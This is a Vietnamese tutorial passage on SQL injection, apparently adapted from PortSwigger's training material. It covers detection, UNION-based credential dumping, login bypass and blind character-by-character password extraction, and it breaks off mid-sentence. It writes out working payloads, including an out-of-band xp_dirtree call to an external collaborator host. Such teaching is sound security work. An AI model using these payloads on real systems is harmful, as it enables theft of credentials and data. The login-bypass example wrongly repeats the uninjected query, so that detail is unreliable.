<style>
body {
color: black;
text-align: justify;
font-family: 'Fira Sans', sans-serif;
}
::selection {
background-color: red;
color: white;
}
}
</style>
Trong phần này, sẽ giải thích SQL injection (SQLi) là gì. mô tả một số ví dụ phổ biến, giải thích cách tìm và khai thác các loại lỗ hổng SQL injection khác nhau và tóm tắt cách ngăn chặn SQL injection.

# SQL injection (SQLi) là gì?
SQL injection (SQLi) là một lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà một ứng dụng thực hiện đối với cơ sở dữ liệu của nó.
Nó thường cho phép kẻ tấn công xem dữ liệu mà chúng thường không thể truy xuất. Điều này có thể bao gồm dữ liệu thuộc về người dùng khác hoặc bất kỳ dữ liệu nào khác mà chính ứng dụng có thể truy cập. Trong nhiều trường hợp, kẻ tấn công có thể sửa đổi hoặc xóa dữ liệu này, gây ra những thay đổi liên tục đối với nội dung hoặc hành vi của ứng dụng.
Trong một số trường hợp, kẻ tấn công có thể leo thang tấn công SQL injection để thỏa hiệp máy chủ cơ bản hoặc cơ sở hạ tầng back-end khác hoặc thực hiện tấn công từ chối dịch vụ.
# Tác động của một cuộc tấn công SQL injection thành công là gì?
Một cuộc tấn công SQLi thành công có thể dẫn đến truy cập trái phép vào dữ liệu nhạy cảm, chẳng hạn như mật khẩu, chi tiết thẻ tín dụng hoặc thông tin người dùng cá nhân. NHiều vi phạm dữ liệu coa cấp trong những năm gần đây là kết quả của các cuộc tấn công SQL injection, dẫn đến thiệt hại danh tiếng và tiền bạc. Trong một số trường hợp, kẻ tấn công có thể có được một backdoor liên tục vào hệ thống của tổ chức, dẫn đến một sự thỏa hiệp lâu dài có thể không được chú ý.
# Cách phát hiện lỗ hổng SQL injection
Phần lớn các lỗ hổng SQL injection có thể được tìm thấy nhanh chóng và đáng tin bằng [trình quét lỗ hổng web của Burp Suite](https://portswigger.net/burp/vulnerability-scanner).
SQL injection có thể được phát hiện thủ công bằng cách sử dụng một số kiểm tra có hệ thống đối với một endpoint của ứng dụng. Ví dụ:
- Sử dụng ký tự trích dẫn đơn và kiểm tra lỗi hoặc các bất thường xuất hiện
- Gửi một số cú pháp SQL cụ thể đánh giá giá trị cơ sở của endpoint và đến một giá trị khác để tìm kiếm sự khác biệt có hệ thống trong các kết quả phản hồi. vd: ASCII (97)
- Gửi một điều kiện Boolean như `' OR 1=1--` và kiểm tra sự khác biệt trong phản hồi.
- Gửi một payload kích hoạt độ trễ thời gian khi thực thi truy vấn SQL và kiểm tra sự khác biệt trong thời gian phản hồi.
Vd: `'; waitfor delay ('0:0:20')--`
- Gửi một payload để kích hoạt một tương tác ngoài băng tần và theo dõi phản hồi tới.
Vd: `exec master..xp_dirtree'//adhiadhaidhai.burpcollaborator.net/a`
# SQL injection trong các phần của truy vấn
Hầu hết các lỗ hổng SQL injection phát sinh trong mệnh đề `WHERE` của truy vấn `SELECT`. Dạng SQLi này thường được hiểu rõ bởi những người kiểm thử có kinh nghiệm.
Nhưng về nguyên tắc , lỗ hổng SQL injection có thể xảy ra tại bất kỳ vị trí nào trong một truy vấn và trong các loại truy vấn khác nhau.
Các vị trí phổ biến nhất mà SQLi có thể xảy ra là:
- Trong các câu lệnh `UPDATE`, ở vị trí giá trị được cập nhật hoặc sau mệnh đề `WHERE`
- Trong các câu lệnh `INSERT`, ở vị trí được chèn
- Trong các câu lệnh `SELECT`, ở vị trí tên bảng hoặc tên cột
- Trong các câu lệnh `SELECT` , ở vị trí mệnh đề `ORDER by`.
# Các ví dụ về SQL injection
Trong nhiều tình huống phát sinh khác nhau, sẽ có nhiều lỗ hổng , tấn công và kỹ thuật SQLi. Một vài ví dụ phổ biến gồm:
- `Retrieving hidden data(trả về dữ liệu ẩn)` : xảy ra khi có thể chỉnh sửa một truy vấn SQL để trả về thêm kết quả.
- `Subverting application logic (phá vỡ logic ứng dụng)`: xảy ra khi có thể thay đổi một truy vấn để ảnh hưởng tới logic của ứng dụng.
- `UNION attack`: xảy ra khi có thể truy xuất dữ liệu từ các bảng dữ liệu khác.
- `Blind SQL injection`: xảy ra khi kết quả của một truy vấn đang tấn công không phản hồi trong các phản hồi của ứng dụng.
## Truy xuất dữ liệu ẩn
Ví dụ: Một ứng dụng mua sắm hiển thị các sản phẩm trong danh mục khác nhau. Khi người dùng nhập vào danh mục `Gifts` trình duyệt sẽ request URL:
`https://insecure-website.com/products?category=Gifts`
Điều này làm cho ứng dụng thực hiện một truy vấn SQL để truy xuất các sản phẩm có liên quan trong cơ sở dữ liệu.
```!
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```
Giải thích truy vấn:
Truy vấn này sẽ yêu cầu cơ sở dữ liệu trả về:
- Tất cả chi tiết sản phẩm (*)
- Từ bảng `products`
- tại category là `Gifts`
- và released là 1
Hạn chế `released = 1` được sử dụng để ẩn các sản phẩm không được phát hành. `releases=0` đối với các sản phẩm chưa được phát hành.
Ứng dụng không thực hiện bất kỳ phòng thủ nào chống lại các cuộc tấn công SQL injection, vì vậy kẻ tấn công có thể xây dựng một cuộc tấn công như sau:
`https://insecure-website.com/products?category=Gifts'--`
Điều này sẽ tạo ra một truy vấn SQL:
`SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1`
Chuỗi `--` là một chỉ báo nhận xét trong SQL, có nghĩa là phần còn lại của truy vấn là một nhận xét.
=> Điều này hiệu quả để loại bỏ phần còn lại của truy vấn. Điều này có nghĩa là phần `AND released=1` sẽ bị bỏ qua dẫn đến tất cả các sản phẩm sẽ được hiển thị.
Có thể đi xa hơn để hiển thị tất cả các sản phẩm trong bất kỳ category nào bằng payloaf:
`https://insecure-website.com/products?category=Gifts'+OR+1=1--`
Điều này sẽ dẫn đến truy vấn SQL:
`SELECT * FROM products WHERE category = 'Gifts' OR 1=1--`
Truy vấn này sẽ trả về tất cả các category trong đó bao gồm `Gifts`
hoặc 1=1 . Vì 1=1 luôn luôn đúng, nên truy vấn sẽ trả về tất cả các mục.
:::danger
Hãy cẩn thận khi thêm điều kiện `OR 1=1` vào truy vấn SQL. Mặc dù điều này có thể vô hại trong một số bối cảnh ban đầu khi được đưa vào, nhưng các ứng dụng thường sử dụng dữ liệu từ một yêu cầu trong nhiều truy vấn khác nhau. Ví dụ: nếu điều kiện thuộc câu lệnh `DELETE` hoặc `UPDATE` điều này có thể dẫn đến tai nạn mất dữ liệu hoặc sai sot.
:::
## Phá vỡ logic ứng dụng
Xem xét một ứng dụng cho phép người dùng đăng nhập bằng tên người dùng và mật khẩu. Nếu người dùng gửi tên người dùng và mật khẩu `wiener|bluecheese`. Ứng dụng web sẽ kiểm tra thông tin đăng nhập bằng cách thực hiện truy vấn SQL sau:
```
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```
Nếu truy vấn trả về chi tiết thông tin của người dùng, thì đăng nhập thành công. Ngược lại nó từ chối.
Lợi dụng điều này, kẻ tấn công có thể đăng nhập với tư cách là bất kỳ người dùng nào không cần mật khẩu chỉ cần sử dụng chuỗi nhận xét SQL để xóa phần kiểm tra mật khẩu.
Ví dụ: Gửi username `admin'--` và một password rỗng sẽ dẫn tới kết quả sau:
```
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
```
Truy vấn này trả về thông tin admin và đăng nhập thành công với tư cách là người dùng đó.
## Truy xuất dữ liệu từ các bảng cơ sở dữ liệu khác
Trong trường hợp, kết quả của truy vấn SQL được trả về trong phản hồi của ứng dụng, kẻ tấn công có thể tận dụng lỗ hổng SQL injection để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu. Điều này được thực hiện bằng cách sử dụng từ khóa `UNION` cho phép thực hiện một truy vấn `SELECT` khác và nối kết quả vào truy vấn ban đầu.
Ví dụ: Nếu một ứng dụng thực hiện truy vấn sau với `Gifts` là đầu vào của người dùng.
```
SELECT name, description FROM products WHERE category = 'Gifts'
```
Sau đó, kẻ tấn công có thể truyền một input độc hại như sau:
```
' UNION SELECT username, password FROM users--
```
Điều này sẽ khiến ứng dụng trả về tất cả tên người dùng và mật khẩu cùng với tên và mô tả sản phẩm.
### Tấn công SQLi sử dụng UNION
Khi một ứng dụng dễ bị tấn công SQLi và kết quả của truy vấn được trả về trong phản hồi của ứng dụng, từ khóa `UNION` có thể được sử dụng để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu. Điều này dẫn đến một cuộc tấn công SQLi UNION.
`UNION` cho phép thực hiện một hoặc nhiều truy vấn `SELECT` bổ sung và thêm kết quả vào truy vấn ban đầu.
```
SELECT a, b FROM table1 UNION SELECT c,d FROM table2
```
=> Truy vấn này sẽ trả về kết quả duy nhất với 2 cột gồm giá trị của cột a, b trong `table1` và cột c, d trong `table2`.
:::info
Có 2 yêu cầu chính để một truy vấn `UNION` hoạt động:
- Mỗi truy vấn riêng lẻ phải trả về cùng một số cột.
- Giữa các truy vấn , các cột phải có kiểu dữ liệu tương thích với nhau.
:::
:::info
Có 2 yêu cầu cần đáp ứng để thực hiện tấn công SQL injection `UNION`:
- Có bao nhiêu cột đang được trả về từ truy vấn ban đầu?
- Những cột nào được trả về từ truy vấn ban đầu có kiểu dữ liệu phù hợp để lấy kết quả tiêm.
:::
#### Xác định số lượng cột cần thiết trong một tấn công SQL injection UNION
Có 2 phương pháp xác định số cột trả về từ truy vấn ban đầu.
**Phương pháp 1**: Tiêm một loạt các mệnh đề `ORDER BY` và tăng chỉ mục cột được chỉ định cho đến khi xuất hiện lỗi.
:::success
Ví dụ: giả sử điểm tiêm là một chuỗi trong mệnh đề `WHERE` của truy vấn ban đầu, ta sẽ thử payload như sau:
```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```
:::
Chuỗi tải trọng này sửa đổi truy vấn ban đầu để sắp xếp kết quả theo các cột khác nhau trong tập kết quả. Trong mệnh để `ORDER BY` có thể chỉ định cột bằng chỉ mục mà không cần tên cột. Khi chỉ mục chỉ định vượt quá số cột thực tế, cơ sở dữ liệu sẽ trả về lỗi. ví dụ như:
:::danger
The ORDER BY position number 3 is out of range of the number of items in the select list.
:::
Ứng dụng có thể trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó hoặc trả về lỗi chung hoặc đơn giản là không trả về kết quả gì.
:::info
Miễn là bạn phát hiện một số khác biệt trong phản hồi của ứng dụng, bạn có thể suy ra có bao nhiêu cột đang được trả về từ truy vấn.
:::
Phương pháp 2: Gửi một loạt các payload `UNION SELECT` chỉ định một số giá trị null khác nhau.
```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```
Nếu số null không khớp với số cột, cơ sở dữ liệu trả về lỗi , chẳng hạn như:
```!
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
```
Ứng dụng có thể trả về thông báo lỗi trên hoặc có thể chỉ trả về lỗi chung hoặc không có kết quả.
Khi số `NULL` khớp với số cột, cơ sở dữ liệu trả về một hàng bổ sung trong tập kết quả, chứa các giá trị null trong mỗi cột. Việc ảnh hưởng đến kết quả phản hồi HTTP phục thuộc vào mã của ứng dụng. Nếu may mắn, sẽ có thể thấy một số nội dung bổ sung trong phản hồi. Chẳng hạn như một hàng dữ liệu bổ sung trong mã HTML. Nếu không , các giá trị null có thể gây ra một lỗi khác như một `NullPointerException`. Trường hợp xấu nhất, phản hồi có thể không phân biệt được với phản hồi gây ra bởi số lượng null không chính xác, làm cho phương pháp xác định số cột này không hiệu quả.
:::warning
- Lý do sử dụng `NULL` làm giá trị trả về khi tiêm vào truy vấn `SELECT` là mỗi cột phải tương thích giữa truy vấn gốc và truy vấn được tiêm. Vì `NULL` có thể chuyển đổi cho mọi loại dữ liệu thường được sử dụng, sử dụng `NULL` sẽ tăng tỷ lệ thành công của payload khi số lượng cột là chính xác.
- Trên Oracle, mọi truy vấn `SELECT` phải sử dụng từ khóa `FROM` và chỉ định một table hợp lệ. Có một bảng tích hợp trên Oracle được gọi là `DUAL` có thể được sử dụng cho mục đích này. Vì vậy, các truy vấn được đưa vào trên Oracle sẽ giống như sau:
```
' UNION SELECT NULL FROM DUAL--
```
- Các payload được mô tả sử dụng chuỗi nhận xét `--` để nhập xét phần còn lại của truy vấn sau vị trí tiêm. Trong MySQL, chuỗi dấu gjach ngang kép phải được theo sau bởi một khoảng trắng. Ngoài ra, ký tự `#` cũng có thể được sử dụng để nhận xét.
Chí tiết về cú pháp của từng CSDL cụ thể, xem tại [bảng SQL cheetsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
:::
#### Tìm cột có kiểu dữ liệu hữu ích trong cuộc tấn công SQL injection UNION.
Nhớ lại, lý do để thực hiện một cuộc tấn công SQLi UNION là để có thể lấy kết quả từ một truy vấn được tiêm.
:::warning
Nói chung, dữ liệu mà chúng ta muốn lấy luôn ở dạng chuỗi, vì vậy ta cần tìm một hoặc nhiều cột trong kết quả truy vấn ban đầu có kiểu dữ liệu tương thích với kiểu chuỗi.
:::
Sau khi đã xác định số lượng cột bắt buộc, ta có thể thăm dò từng cột để kiểm tra xem cột đó có kiểu dữ liệu chuỗi hay không bằng cách gửi một loạt các tải trọng với một giá trị chuỗi vào mỗi cột.
Ví dụ:
```
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```
Nếu kiểu dữ liệu của một cột không tương thích với dữ liệu chuỗi, truy vấn được tiêm sẽ gây ra lỗi cơ sở dữ liệu, chẳng hạn như:
```
Conversion failed when converting the varchar value 'a' to data type int.
```
Ngược lại, không có lỗi nào xảy ra và phản hồi của ứng dụng chứa một số nội dung bổ sung bao gồm giá trị chuỗi được tiêm, thì cột có liên quan phù hợp để truy xuất dữ liệu chuỗi.
#### Sử dụng một cuộc tấn công SQLi UNION để lấy dữ liệu thú vị
Sau khi đã có được số lượng cột được trả về từ truy vấn ban đầu và tìm thấy cột có thể chứa dữ liệu chuỗi => ta có thể tiến hành truy xuất dữ liệu trong cơ sở dữ liệu.
Giả sử rằng:
- Truy vấn ban đầu trả về hai cột, cả hai đều có thể chứa dữ liệu chuỗi.
- Điểm tiêm là chuỗi trong mệnh đề `WHERE`.
- Database chứa một bảng `users` với 2 cột `username` và `password`.
Trong trường hợp này, ta có thể truy xuất nội dung của bảng `users` bằng cách gửi input:
```!
' UNION SELECT username, password FROM users--
```
Tất nhiên, thông tin quan trọng cần thiết để thực hiện cuộc tấn công này là có một table `users` với hai cột `username` và `password`. Nếu không có thông tin này, bạn sẽ hải cố gắng đoán tên của các bảng và cột.
Trong thực tế, tất cả các cơ sở dữ liệu hiện đại đều cung cấp các cách kiểm tra cấu trúc cơ sở dữ liệu, để xác định xem nó chứa những bảng và cột nào.
#### Truy xuất nhiều giá trị trong một cột
Trong ví dụ trước, kết quả trả về ở dạng 2 cột.
Giả sử truy vấn chỉ trả về một cột duy nhất. Ta có thể dễ dàng truy xuất nhiều giá trị cùng nhau trong một cột bằng cách nối các giá trị lại với nhau. Tốt nhất là nên sử dụng một ký hiệu phân cách giữa các dữ liệu.
Ví dụ: Đối với Oracle , ta có thể chèn input sau:
```
' UNION SELECT username || '~' || password FROM users--
```
Truy vấn này sử dụng `||` là một toán tử nối chuỗi trong Oracle. Truy vấn sẽ nối dữ liệu ở 2 cột lại với nhau và phản hồi về giống như một cột.
Kết quả sẽ giống như sau:
```
...
administrator~s3cure
wiener~peter
carlos~montoya
...
```
:::danger
Lưu ý! các cơ sở dữ liệu khác nhau sẽ có cơ chế nối chuỗi khác nhau.
Tham khảo: https://portswigger.net/web-security/sql-injection/cheat-sheet
:::
### Blind SQL injection
Trong một số trường hợp SQLi là lỗ hổng blind. Điều này có nghĩa là ứng dụng không trả về bất kỳ lỗi cơ sở dữ liệu nào trong các phản hồi của nó.
Các lỗ hổng blind vẫn có thể khai thác để truy cập dữ liệu trái phép, nhưng các kỹ thuật liên quan thường phức tạp và khó thực hiện hơn.
Các kỹ thuật sau đây có thể được sử dụng để khai thác lỗ hổng Blind SQLi:
- Thay đổi logic của truy vấn để kích hoạt sự khác biệt có thể phát hiện được trong phản hồi của ứng dụng tùy thuộc vào độ chính xác của một điều kiện. Điều này có thể là đưa một điều kiện mới vào logic Boolean nào đó hoặc kích hoạt một cách có điều kiện một lỗi . Ví dụ: chia cho số 0
- Kích hoạt thời gian trễ một cách có điều kiện trong quá trình xử lý truy vấn, cho phép bạn suy ra tính đúng đắn của điều kiện dựa trên thời gian mà ứng dụng cần để phản hồi.
- Kích hoạt tương tác mạng ngoài băng tần, sử dụng các kỹ thuật OAST. Kỹ thuật này cực kỳ mạnh và hoạt động trong những tình huống mà các kỹ thuật khác không làm được. Thông thường, ta có thể lọc dữ liệu trực tiếp qua kênh ngoài băng tần, chẳng hạn như bằng cách đặt dữ liệu vào tra cứu DNS cho miền mà bạn kiểm soát.
#### Blind sqli là gì?
Phát sinh khi một ứng dụng dễ bị SQLi nhưng không phản hồi kết quả của truy vấn SQL có liên quan hoặc không có bất kỳ lỗi cơ sở dữ liệu nào.
Kỹ thuật tấn công `UNION` không hiệu quả đối với Blind SQLi vì chúng dựa vào việc xem kết quả của truy vấn được chèn trong các phản hồi của ứng dụng.
=> Vẫn có thể khai thác kỹ thuật SQLi Blind để truy cập dữ liệu trái phép, nhưng phải sử dụng các kỹ thuật khác nhau.
#### Khai thác SQLi bằng cách kích hoạt các phản hồi có điều kiện (triggering conditional responses)
Cho một ứng dụng sử dụng cookie theo dõi để thu thập phân tích về việc sử dụng. Các yêu cầu đối với ứng dụng bao gồm tiêu đề cookie như sau:
```
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
```
Khi một yêu cầu chứa Cookie `TrackingId` được xử lý. Ứng dụng sẽ xác định xem đây có phải là người dùng đã biết hay không bằng truy vấn SQL như sau:
```
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```
Truy vấn này dễ bị tấn công bởi SQL injection nhưng kết quả từ truy vấn không được phản hồi lại cho người dùng. Tuy nhiên, ứng dụng sẽ hoạt động khác nhau tùy thuộc vào việc truy vấn có tra về bất kỳ dữ liệu nào hay không. Nếu nó trả về dữ liệu (Công nhận `TrackingId` là đã gửi) , thì thông báo "Chào mừng trở lại" sẽ được hiển thị trong trang.
Hành vi này đủ để khai thác SQL blind và truy xuất thông tin bằng cách kích hoạt các phản hồi khác nhau theo điều kiện, tùy thuộc vào điều kiện được chèn.
Giả sử 2 request lần lượt được gửi có chứa `TrackingId` như sau:
```
…xyz' AND '1'='1
…xyz' AND '1'='2
```
Giá trị đầu tiên sẽ khiến truy vấn trả về kết quả vì điều kiện `AND '1'='1` được đưa vào là đúng và do đó, thông báo `Welcome back` sẽ được hiển thị. Trong khi đó, giá trị thứ hai sẽ khiến truy vấn không trả về bất kỳ kết quả nào vì điều kiện được đưa vào là sai và do đó, thông báo `Welcom back` sẽ không được hiển thị.
=> Điều này cho phép chúng ta xác định câu trả lời cho bất kỳ điều kiện đơn lẻ nào được đưa vào và do đó trích xuất dữ liệu từng bit một.
Ví dụ: bảng `Users` với các cột `Username` và `Password`. Và một người dùng được gọi là `Administrator`. Chúng ta có thể xác định mật khẩu ch người dùng này một cách có hệ thống bằng cách gửi một loạt dữ liệu đầu vào để kiểm tra mật khẩu từng ký tự một.
Ví dụ:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```
Điều này trả về thông báo "Welcome back", => điều kiện đưa vào là đúng , do đó ký tự đầu tiên của mật khẩu lớn hơn `m`.
Tiếp theo, tôi gửi một payload khác:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```
=> Kết quả: không trả về thông báo `Welcome back` cho biết => điều kiện đưa vào là sai, ký tự đầu tiên của mật khẩu không lớn hơn `t`.
Tiếp theo, gửi một payload khác:
```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```
=> Kết quả: trả về "Welcome back" => ký tự đầu tiên của passowrd là `s`.
Tiếp tục quá trình này cho tới khi mình xác định được toàn bộ mật khẩu.
:::danger
Chú ý: Hàm `SUBSTRING` được gọi `SUBSTR` trên một số loại CSDL khác.
Tham khảo: https://portswigger.net/web-security/sql-injection/cheat-sheet
:::
### SQL injection dựa trên lỗi (Error-based SQLi)
Đôi khi ta cũng có thể sử dụng thông báo lỗi để trích xuất hoặc suy luận dữ liệu nhạy cảm từ cơ sở dữ liệu, ngay cả trong Blind SQLi.
:::warning
Phụ thuộc vào cấu hình của CSDL và các loại lỗi có thể kích hoạt.
- Có thể làm cho ứng dụng trả về phản hồi lỗi cụ thể dựa trên kết quả của một biểu thức boolean.
[Tham khảo](https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-conditional-errors)
- Có thể kích hoạt các thông báo lỗi xuất dữ liệu do truy vấn trả về. Điều này có hiệu quả biến các lỗ hổng Blind SQLi thành lỗ hổng "có thể nhìn thấy".
[Tham khảo](https://portswigger.net/web-security/sql-injection/blind#extracting-sensitive-data-via-verbose-sql-error-messages)
:::
#### Khai thác Blind SQLi bằng cách kích hoạt các lỗi có điều kiện
Trong ví dụ trước, giả sử ứng dụng thực hiện cùng một truy vấn SQL, nhưng không hoạt động khác đi tùy thuộc vào việc liệu truy vấn có trả về bất kỳ dữ liệu nào hay không. Kỹ thuật trước sẽ không hoạt động, vì việc đưa vào các điều kiện Boolean khác nhau không tạo ra sự khác biệt nào đối với các phản hồi của ứng dụng.
Trong